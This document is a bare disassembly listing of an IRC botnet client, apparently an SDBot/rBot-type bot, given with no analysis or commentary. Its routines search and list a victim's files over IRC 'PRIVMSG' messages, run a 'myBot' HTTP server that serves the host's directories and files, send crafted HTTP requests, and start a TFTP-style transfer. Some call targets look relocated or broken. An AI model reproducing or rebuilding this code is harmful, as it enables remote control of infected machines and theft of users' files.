push esi
nop
call near ptr 2660000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 2650000h
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_406031
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4172B0
add esp, 24h
jmp short loc_406052
; ---------------------------------------------------------------------------
loc_406031: ; CODE XREF: sub_405F4D+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4172B0
add esp, 28h
loc_406052: ; CODE XREF: sub_405F4D+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43F6B8
cmp [ebp+var_A4], edi
jnz short loc_406092
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406A0D
pop ecx
pop ecx
jmp short loc_4060AF
; ---------------------------------------------------------------------------
loc_406092: ; CODE XREF: sub_405F4D+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_406387
add esp, 10h
loc_4060AF: ; CODE XREF: sub_405F4D+143j
push [ebp+var_44C]
call dword_43F700
push [ebp+var_B4]
call sub_417078
pop ecx
push edi
call near ptr 25E02EAh
nop
pop edi
pop esi
sub_405F4D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_417330
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_406106
push eax
push offset aS_2 ; "\\%s"
jmp short loc_40610F
; ---------------------------------------------------------------------------
loc_406106: ; CODE XREF: sub_4060D0+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40610F: ; CODE XREF: sub_4060D0+34j
lea eax, [ebp+var_10C]
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_417AB0
test eax, eax
pop ecx
jbe short loc_4061AA
mov [ebp+arg_8], 2
loc_40613A: ; CODE XREF: sub_4060D0+D8j
lea eax, [ebp+var_10C]
push eax
call sub_417AB0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40617A
cmp [ebp+esi+var_10C], 25h
jnz short loc_40617A
cmp [ebp+esi+var_10B], 32h
jnz short loc_40617A
cmp [ebp+esi+var_10A], 30h
jnz short loc_40617A
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_406194
; ---------------------------------------------------------------------------
loc_40617A: ; CODE XREF: sub_4060D0+7Aj
; sub_4060D0+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40618A
push 5Ch
pop eax
jmp short loc_40618D
; ---------------------------------------------------------------------------
loc_40618A: ; CODE XREF: sub_4060D0+B3j
movsx eax, al
loc_40618D: ; CODE XREF: sub_4060D0+B8j
mov [ebp+ebx+var_210], al
loc_406194: ; CODE XREF: sub_4060D0+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_417AB0
cmp esi, eax
pop ecx
jb short loc_40613A
loc_4061AA: ; CODE XREF: sub_4060D0+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4172B0
lea eax, [ebp+var_314]
push offset asc_42A660 ; "\n"
push eax
call sub_418B6E
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 267029Bh
push 1
cmp eax, 10h
pop esi
jz short loc_4061FB
cmp eax, 0FFFFFFFFh
jnz short loc_4061FE
push [ebp+arg_0]
jmp loc_40627E
; ---------------------------------------------------------------------------
loc_4061FB: ; CODE XREF: sub_4060D0+11Cj
mov [ebp+var_4], esi
loc_4061FE: ; CODE XREF: sub_4060D0+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40620B
mov [ebp+var_4], esi
loc_40620B: ; CODE XREF: sub_4060D0+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_406289
cmp [ebp+arg_C], edi
jz short loc_40627D
lea eax, [ebp+var_314]
push offset asc_42A65C ; "*"
push eax
call sub_4179D0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_4172B0
lea eax, [ebp+var_210]
push eax
call sub_406ACA
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4172B0
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4062D8
; ---------------------------------------------------------------------------
loc_40627D: ; CODE XREF: sub_4060D0+152j
push ebx
loc_40627E: ; CODE XREF: sub_4060D0+126j
call dword_43F700
jmp loc_406380
; ---------------------------------------------------------------------------
loc_406289: ; CODE XREF: sub_4060D0+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 2630000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4062D8
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4172B0
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 2670000h
push esi
mov [ebp+var_330], eax
nop
call near ptr 2611A31h
loc_4062D8: ; CODE XREF: sub_4060D0+1ABj
; sub_4060D0+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_42A61C
push eax
call sub_4172B0
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_416D5C
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_4450C4[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405F4D
push edi
push edi
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_4450D4[ecx], eax
jz short loc_406352
loc_406340: ; CODE XREF: sub_4060D0+280j
cmp [ebp+var_318], edi
jnz short loc_406380
push 5
nop
call near ptr 25F0439h
jmp short loc_406340
; ---------------------------------------------------------------------------
loc_406352: ; CODE XREF: sub_4060D0+26Ej
push ebx
call dword_43F700
nop
call near ptr 2630313h
push eax
lea eax, [ebp+var_8C4]
push offset unk_42A5D4
push eax
call sub_4172B0
lea eax, [ebp+var_8C4]
push eax
call sub_40BF6D
add esp, 10h
loc_406380: ; CODE XREF: sub_4060D0+1B4j
; sub_4060D0+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4060D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap
; sub_40EE72+49CBp
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_417330
mov edi, [ebp+arg_0]
push offset asc_42A660 ; "\n"
push edi
call sub_418B6E
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4063E6
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41782A
add esp, 14h
jmp loc_4064E5
; ---------------------------------------------------------------------------
loc_4063E6: ; CODE XREF: sub_406387+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4064CB
call sub_417AB0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
push edi
call sub_417AB0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_4064E5
; ---------------------------------------------------------------------------
loc_4064CB: ; CODE XREF: sub_406387+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
loc_4064E5: ; CODE XREF: sub_406387+5Aj
; sub_406387+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
cmp [ebp+arg_C], ebx
jz short loc_406580
push [ebp+arg_C]
call sub_417AB0
cmp eax, 2
pop ecx
jbe short loc_406580
push [ebp+arg_C]
call sub_417AB0
sub eax, 3
pop ecx
jz short loc_406531
loc_406525: ; CODE XREF: sub_406387+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_406531
dec eax
jnz short loc_406525
loc_406531: ; CODE XREF: sub_406387+19Cj
; sub_406387+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_418C10
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
loc_406580: ; CODE XREF: sub_406387+180j
; sub_406387+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call near ptr 26A0000h
nop
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2690000h
test eax, eax
jz loc_406970
mov edi, 1FFh
loc_4065AC: ; CODE XREF: sub_406387+5E3j
cmp [ebp+var_388], ebx
jz loc_406958
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_406958
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_406958
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2680631h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 2680000h
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_406621
mov ecx, offset aAm ; "AM"
loc_406621: ; CODE XREF: sub_406387+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40662D
sub eax, 0Ch
loc_40662D: ; CODE XREF: sub_406387+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4172B0
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4067D0
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4066A1
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_406919
; ---------------------------------------------------------------------------
loc_4066A1: ; CODE XREF: sub_406387+2E0j
cmp [ebp+arg_C], ebx
jz loc_40678B
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS ; "%s%s/"
push edi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
lea eax, [ebp+var_35C]
push eax
call sub_417AB0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_406741
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_406746
; ---------------------------------------------------------------------------
loc_406741: ; CODE XREF: sub_406387+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_406746: ; CODE XREF: sub_406387+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40691A
; ---------------------------------------------------------------------------
loc_40678B: ; CODE XREF: sub_406387+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41782A
add esp, 14h
jmp loc_406929
; ---------------------------------------------------------------------------
loc_4067D0: ; CODE XREF: sub_406387+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40680F
push ebx
push [ebp+var_368]
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4067FB: ; CODE XREF: sub_406387+577j
lea eax, [ebp+var_248]
push eax
call sub_41782A
add esp, 1Ch
jmp loc_406929
; ---------------------------------------------------------------------------
loc_40680F: ; CODE XREF: sub_406387+44Fj
cmp [ebp+arg_C], ebx
jz loc_406903
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
lea eax, [ebp+var_35C]
push eax
call sub_417AB0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4068AF
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4068B4
; ---------------------------------------------------------------------------
loc_4068AF: ; CODE XREF: sub_406387+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4068B4: ; CODE XREF: sub_406387+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4067FB
; ---------------------------------------------------------------------------
loc_406903: ; CODE XREF: sub_406387+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_406919: ; CODE XREF: sub_406387+315j
push esi
loc_40691A: ; CODE XREF: sub_406387+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41782A
add esp, 18h
loc_406929: ; CODE XREF: sub_406387+444j
; sub_406387+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
cmp [ebp+arg_8], ebx
jz short loc_406958
push 7D0h
nop
call near ptr 25F0439h
loc_406958: ; CODE XREF: sub_406387+22Bj
; sub_406387+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2690000h
test eax, eax
jnz loc_4065AC
loc_406970: ; CODE XREF: sub_406387+21Aj
push [ebp+arg_0]
call near ptr 26703ADh
nop
cmp [ebp+arg_8], ebx
jz short loc_4069B3
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4172B0
add esp, 14h
jmp short loc_4069E7
; ---------------------------------------------------------------------------
loc_4069B3: ; CODE XREF: sub_406387+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4069CD
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4172B0
pop ecx
pop ecx
jmp short loc_4069E7
; ---------------------------------------------------------------------------
loc_4069CD: ; CODE XREF: sub_406387+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4172B0
add esp, 10h
loc_4069E7: ; CODE XREF: sub_406387+62Aj
; sub_406387+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43F6B8
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_406387 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 2630000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406AC5
push esi
push ebx
nop
call near ptr 2670000h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406ABE
loc_406A52: ; CODE XREF: sub_406A0D+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_417330
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_406A6F
mov edi, [ebp+arg_4]
loc_406A6F: ; CODE XREF: sub_406A0D+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 26B0000h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call near ptr 2611183h
nop
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_406AB9
call dword_43F5FC
cmp eax, 2733h
jnz short loc_406ABE
xor eax, eax
loc_406AB9: ; CODE XREF: sub_406A0D+9Bj
sub [ebp+arg_4], eax
jnz short loc_406A52
loc_406ABE: ; CODE XREF: sub_406A0D+43j
; sub_406A0D+A8j
push ebx
nop
call near ptr 2611A31h
loc_406AC5: ; CODE XREF: sub_406A0D+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406A0D endp
; =============== S U B R O U T I N E =======================================
sub_406ACA proc near ; CODE XREF: sub_4060D0+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_417AB0
test eax, eax
pop ecx
jbe short loc_406AF3
loc_406ADD: ; CODE XREF: sub_406ACA+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406AE7
mov byte ptr [esi+edi], 2Fh
loc_406AE7: ; CODE XREF: sub_406ACA+17j
push edi
inc esi
call sub_417AB0
cmp esi, eax
pop ecx
jb short loc_406ADD
loc_406AF3: ; CODE XREF: sub_406ACA+11j
mov eax, edi
pop edi
pop esi
retn
sub_406ACA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43F5E0
push 6
push 1
push 2
call dword_43F6E8
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43F668
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40ADCA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43F610
cmp eax, 0FFFFFFFFh
jz short loc_406BD5
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406B71
mov eax, offset byte_43C80C
loc_406B71: ; CODE XREF: sub_406AF8+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41782A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43F6B8
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43F680
pop esi
loc_406BD5: ; CODE XREF: sub_406AF8+6Bj
push ebx
call dword_43F700
call dword_43F5C8
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4172B0
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406C15
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_406C15: ; CODE XREF: sub_406AF8+102j
pop edi
pop ebx
leave
retn
sub_406AF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p
; DATA XREF: sub_407252+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43F6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406CDC
push 190h
nop
call near ptr 25F0439h
call dword_43F5FC
push eax
lea eax, [ebp+var_780]
push offset unk_42AC38
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406CBC
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40D679
add esp, 14h
loc_406CBC: ; CODE XREF: sub_406C19+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40BF6D
push [ebp+var_170]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_406CDC: ; CODE XREF: sub_406C19+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_4450CC[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43F668
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43F694
cmp eax, 0FFFFFFFFh
jnz short loc_406D41
push 1388h
call near ptr 25F0439h
nop
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407104
; ---------------------------------------------------------------------------
loc_406D41: ; CODE XREF: sub_406C19+10Dj
